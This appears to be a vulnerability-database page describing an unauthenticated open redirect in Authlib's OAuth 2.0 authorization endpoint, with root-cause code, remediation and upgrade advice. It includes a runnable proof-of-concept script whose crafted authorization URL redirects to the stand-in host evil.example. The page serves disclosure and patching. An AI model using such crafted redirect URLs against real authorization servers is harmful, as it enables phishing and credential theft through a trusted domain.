Severity by source
AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
Primary rating from Vendor (https://github.com/authlib/authlib) · only source for this CVE.
CVSS VectorVendor: https://github.com/authlib/authlib
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
Lifecycle Timeline
2Blast Radius
ecosystem impact- 4 pypi packages depend on authlib (3 direct, 1 indirect)
Ecosystem-wide dependent count for version 1.7.0.
DescriptionCVE.org
Summary
Authlib's OAuth 2.0 authorization endpoint can be turned into an unauthenticated open redirect when a request uses an unsupported response_type and supplies an attacker-controlled redirect_uri.
The vulnerable behavior happens before client lookup and before any redirect URI validation. As a result, an attacker does not need a valid client registration, an authenticated user, or any prior state. A single request to the authorization endpoint is enough to obtain a 302 Location response to an arbitrary attacker-controlled URL.
It was confirmed that the vulnerable code is present in tag v1.6.6 and in the current HEAD under test (68e6ab3fdfc71a328b1966bad5c6aba0f7d0c2e1, git describe: v1.6.6-104-g68e6ab3f). The issue was dynamically reproduced locally on the current HEAD.
Details
The root cause is that AuthorizationServer.get_authorization_grant() copies the raw request redirect_uri into an UnsupportedResponseTypeError before any client has been resolved and before any redirect URI validation has happened:
# authlib/oauth2/rfc6749/authorization_server.py
raise UnsupportedResponseTypeError(
f"The response type '{request.payload.response_type}' is not supported by the server.",
request.payload.response_type,
redirect_uri=request.payload.redirect_uri,
)
That error object is later rendered by OAuth2Error.__call__(). If redirect_uri is set, Authlib
automatically returns a redirect response to that URI:
# authlib/oauth2/base.py
def __call__(self, uri=None):
if self.redirect_uri:
params = self.get_body()
loc = add_params_to_uri(self.redirect_uri, params, self.redirect_fragment)
return 302, "", [("Location", loc)]
return super().__call__(uri=uri)
This means an unsupported response_type request can force the authorization server to redirect
to an attacker-controlled URL even when:
1. no valid client exists,
2. no grant matched the request,
3. no registered redirect_uri was ever checked.
This is not a contrived code path. It is reachable through the normal Authlib authorization
endpoint flow documented for Flask and Django integrations, where applications are told to call
server.get_consent_grant(...) and then server.handle_error_response(...) on OAuth2Error.
Relevant source and documentation references:
- authlib/oauth2/rfc6749/authorization_server.py
- authlib/oauth2/base.py
- docs/flask/2/authorization-server.rst
- docs/django/2/authorization-server.rst
### PoC
Local test environment:
- Repository checkout: 68e6ab3fdfc71a328b1966bad5c6aba0f7d0c2e1
- git describe: v1.6.6-104-g68e6ab3f
- Python virtualenv: ./.venv
- Environment variable: AUTHLIB_INSECURE_TRANSPORT=true
Note: AUTHLIB_INSECURE_TRANSPORT=true was only used to allow local loopback HTTP reproduction.
It does not create the vulnerable behavior. In a real deployment the same logic is reachable
over HTTPS.
Run this exact PoC from the repository root:
export AUTHLIB_INSECURE_TRANSPORT=true
./.venv/bin/python - <<'PY'
import os, json
from flask import Flask, request
from authlib.integrations.flask_oauth2 import AuthorizationServer
from authlib.oauth2 import OAuth2Error
from authlib.oauth2.rfc6749.grants import AuthorizationCodeGrant as _AuthorizationCodeGrant
os.environ["AUTHLIB_INSECURE_TRANSPORT"] = "true"
class AuthorizationCodeGrant(_AuthorizationCodeGrant):
def save_authorization_code(self, code, request):
raise RuntimeError("not reached")
def query_authorization_code(self, code, client):
return None
def delete_authorization_code(self, authorization_code):
pass
def authenticate_user(self, authorization_code):
return None
app = Flask(__name__)
app.secret_key = "testing"
server = AuthorizationServer(
app,
query_client=lambda client_id: None,
save_token=lambda token, request: None,
)
server.register_grant(AuthorizationCodeGrant)
@app.route("/oauth/authorize", methods=["GET", "POST"])
def authorize():
try:
grant = server.get_consent_grant(end_user=None)
except OAuth2Error as error:
return server.handle_error_response(request, error)
return server.create_authorization_response(grant=grant, grant_user=None)
with app.test_client() as c:
cases = {
"without_redirect_uri": "/oauth/authorize?response_type=totally-unsupported&state=s1",
"with_attacker_redirect_uri": "/oauth/authorize?response_type=totally-
unsupported&redirect_uri=https%3A%2F%2Fevil.example%2Flanding&state=s1",
}
out = {}
for name, url in cases.items():
r = c.get(url)
out[name] = {
"status": r.status_code,
"location": r.headers.get("Location"),
"body": r.get_data(as_text=True),
}
print(json.dumps(out, indent=2))
PY
Observed result:
{
"without_redirect_uri": {
"status": 400,
"location": null,
"body": "{\"error\": \"unsupported_response_type\", \"error_description\": \"totally-
unsupported\", \"state\": \"s1\"}"
},
"with_attacker_redirect_uri": {
"status": 302,
"location":
"https://evil.example/landing?error=unsupported_response_type&error_description=totally-unsupported&state=s1",
"body": ""
}
}
This demonstrates that the only difference between a local error and an external redirect is
whether the attacker supplies redirect_uri.
The same behavior was locally reproduced with the Django integration using RequestFactory; it
returned:
{
"status": 302,
"location":
"https://evil.example/landing?error=unsupported_response_type&error_description=totally-unsupported&state=s1",
"body": ""
}
### Impact
This is an unauthenticated open redirect in an internet-facing authorization endpoint.
Who is impacted:
- Any deployment using Authlib's OAuth 2.0 authorization server and the documented authorization
endpoint flow.
- No special feature flag is required beyond running the authorization endpoint itself.
Attacker prerequisites:
- None beyond the ability to send a victim to a crafted authorization URL.
Practical harm:
- Phishing and credential theft by abusing a trusted authorization server domain as a
redirector.
- Bypass of domain-based allowlists that trust the authorization server's host.
- SSO / OAuth confusion in ecosystems where trusted authorization endpoints are expected to
reject unregistered redirect URIs before redirecting.
The issue is especially concerning because the redirect happens before client existence and
redirect URI legitimacy are established.AnalysisAI
Unauthenticated open redirect in Authlib's OAuth 2.0 authorization endpoint allows any remote attacker to weaponize a trusted authorization server domain as a redirector - no client registration, no authenticated session, and no prior state required. The flaw affects all deployments of pip/authlib < 1.6.10 and == 1.7.0 running an authorization endpoint via the Flask or Django integrations. Publicly available exploit code exists and was dynamically confirmed against the live HEAD (v1.6.6-104-g68e6ab3f); no public exploit identified at time of analysis as confirmed actively exploited (CISA KEV status absent), but the trivial, zero-prerequisite exploit path makes phishing and domain-allowlist bypass practical at scale.
Technical ContextAI
Authlib (pkg:pip/authlib) is a Python OAuth 2.0 / OpenID Connect library with documented integrations for Flask and Django. The root cause (CWE-601: URL Redirection to Untrusted Site) lies in AuthorizationServer.get_authorization_grant() in authlib/oauth2/rfc6749/authorization_server.py. When the incoming response_type parameter does not match any registered grant, the method raises UnsupportedResponseTypeError and - critically - copies the raw, unvalidated request.payload.redirect_uri directly into that error object before any client lookup has occurred. The base class OAuth2Error.__call__() in authlib/oauth2/base.py then checks whether self.redirect_uri is set and, if so, emits a 302 response with that URI as the Location header. Because client resolution and RFC 6749 §4.1.2.1 redirect URI validation are never reached in this error path, an attacker-supplied redirect_uri is honoured unconditionally. The fix (commit 3be08468) enforces that a redirect URI is only propagated into the error after confirming a valid client_id, a matching registered client, and a client.check_redirect_uri() pass.
RemediationAI
Upgrade authlib to version 1.6.10 (for the 1.6.x branch) or 1.7.1 (for the 1.7.x branch) to receive the vendor-released patch. The exact fix is in commit 3be08468201a7766a93012ce149ea12822cab096 (https://github.com/authlib/authlib/commit/3be08468201a7766a93012ce149ea12822cab096), which changes get_authorization_grant() to only pass a redirect_uri into UnsupportedResponseTypeError after validating that a matching client exists and that the URI passes client.check_redirect_uri(), in compliance with RFC 6749 §4.1.2.1. If an immediate upgrade is not possible, a compensating control is to add a middleware or WAF rule that rejects authorization endpoint requests where response_type is not in the server's explicitly allowed list before the request reaches Authlib - this prevents the UnsupportedResponseTypeError path from being triggered, eliminating the redirect. A trade-off is that this creates a tight coupling between the WAF configuration and the set of registered grants; any new grant type must be added to both Authlib and the allowlist. Alternatively, logging and alerting on response_type values not in the registered set can provide early detection with no service disruption.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-38360
GHSA-w8p2-r796-3vmq